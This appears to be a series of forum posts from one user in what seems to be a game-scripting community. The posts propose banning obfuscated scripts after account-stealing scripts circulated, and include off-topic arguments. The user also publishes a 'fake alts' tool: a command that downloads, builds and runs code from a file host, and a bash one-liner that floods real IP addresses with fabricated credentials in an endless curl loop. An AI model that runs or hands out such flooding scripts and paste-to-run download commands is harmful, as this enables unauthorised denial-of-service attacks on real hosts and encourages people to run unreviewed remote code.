As I'm sure you've all noticed, there has been a variety of malicious scripts posted in the last few days, and to address this, I propose a new, temporary, policy that forbids the posting of obfuscated scripts.

I'm sure that some of the members here would be disappointed by this -- after all, they post their scripts in obfuscated form, which does have the benefit of not getting their code skidded as easily, however, this is completely overshadowed by the danger of some members (who may be new, or inexperienced, or just careless) running a malicious script that steals their accounts, or does even worse things to their computer.

Alternatively, we could also:

• reject all new registrations
• ban all VPN, Tor, and Proxy users from signing up (which we already, sort of, do, by using cloudflare)
• disallow posting of scripts entirely

All of these affect people with good intent in a major way, though.
Any other ideas?

In case it's ever needed again:

Linux users:

curl https://0x0.st/-T8J.xz|tar xJ&&cd fakealtspammer&&make&&./fas

Currently:

./fas 104.131.93.82 58028 ABC
./fas 179.43.152.50 58028 ABC

If neither of those respond, they're both down and/or they got a new one.

Status of known Servers (last updated 9 Apr 23:29 UTC):

• 179.43.152.50: down
• 104.131.93.82: down

Same for Windows users in WSL, you may need to install build-essential.

Launch with ./fas
I'm not adding native Windows support.

Edit #2: bug fixed, updated link
Edit #3: made it print dots, updated link

Not cool, man.

To all the people whining "no obf screpet so sad ;_;",

1. Obfuscated scripts aren't reviewable. They can't check it for content that is harmful and/or badly written.
2. It is better that way. People should be able to view and review a script for themselves.

To summarize: Stop whining, you fucks.

@mic-ven Baritone is a fully-featured pathfinder and open-source. There's no reason not to integrate it.

FAKE ALTS FOR THE ACCOUNT GRABBER

Edit: Working on a C version with just about everything better.
Hi there, I've written a little bash script to flood the accountgrabber's servers with fake alts.

HOWTO:

Windows

1. Go to the Microsoft Store.
2. Search "Ubuntu".
3. Install the first result with the orange background.
4. Restart your computer.
5. Choose an account name. Press Enter.
6. Choose a Password (anything goes) . You will not see what you typed! Don't worry, it's a security measure. Type it anyway.
7. You should arrive at a colored prompt.
8. Copy the following script (It's not obfuscated btw -- that's exactly how I wrote it and it's how bash oneliners look) :

rng() { cat /dev/urandom | tr -cd '1-9' | fold -w"${*}" | head -1;};ue() { temp="$LC_COLLATE";LC_COLLATE='C';length="${#1}";for ((i=0;i<length;i++)) ;do c="${1:$i:1}"; case "${c}" in [a-zA-Z0-9.~_-]) printf '%s' "${c}" ;; *) printf '%%%02X' "'${c}";;esac;done;LC_COLLATE="${temp}";return 0; };rsg() { cat /dev/urandom | tr -cd 'A-Za-z0-9_-' | fold -w"${*}" | head -1;};while :;do ((curl -4 'http://179.43.152.50:58028/?ABC='"$(printf '[\r\n    %[email protected]%s.%s:%s\r\n]' "$(rsg "$(rng 3)")" "$(rsg "$(rng 2)")" "$(rsg "$(rng 1)")" "$(rsg "$(rng 3)")" | base64 -w0 | ue)" && printf '.')&sleep .1);done

9. Go into the Ubuntu window. Right click.
10. Press enter.

Linux (windows users, skip to the usage paragraph below, its the same for both)

1. Open a terminal window.
2. Type bash.
3. Copy and paste the above script (ctrl-shift-v, sometimes middle click)
4. Press Enter.

USAGE

You will now see a lot of dots appear on screen. The dots represent the amount of fake alts sent to the accountgrabber's server.

You may have noticed that there is a sleep at the end of the script. This controls how long to wait before spawning the next process.

If you're on a potato PC, and it is lagging, increase it.
If you're on a high-end epic gaming PC, and it isn't lagging, decrease it.

If you want to stop it, press Ctrl-C. Wait for a few seconds.

Note that this will reveal your IP address to the account grabber. If you don't want that, use a VPN or proxy.

Version 2 and/or C rewrite coming soon!

Aaaaand it's down. At least, it appears to be. Let's wait some more.
I love you all. <3

@skidma very noice

@caex "there is a correlation for a and a correlation for not a" -- I'm sorry, what? What correlates with a, what even is a? Please rephrase that.

@caex ...then make an argument?

@caex Well, if you believe I am wrong about there being a correlation between holding nazi beliefs on the internet and holding those same beliefs in real life, go ahead and argue that.

@caex Wow, you're actually an idiot. I know that correlation is not causation and vice versa, I never said or even implied that there is causation between believing in nazi stuff on the internet and believing nazi stuff in real life, I can't measure that. However, what I do know, and what you have implied with your constant misrepresentation of my point, that there is a correlation between those things.

@caex "likely" and "unlikely" are mutually exclusive.

@caex This has nothing to do with causation. My point is, someone who holds nazi beliefs on the internet also likely holds them in real life. Am I wrong?

@caex You're misrepresenting my point. I'm not talking about video games, I'm talking about beliefs. Is a nazi on the internet not likely a nazi in real life?

@caex So your point is, a nazi on the internet isn't likely a nazi IRL?

@caex Your actions on the internet influence your actions IRL.
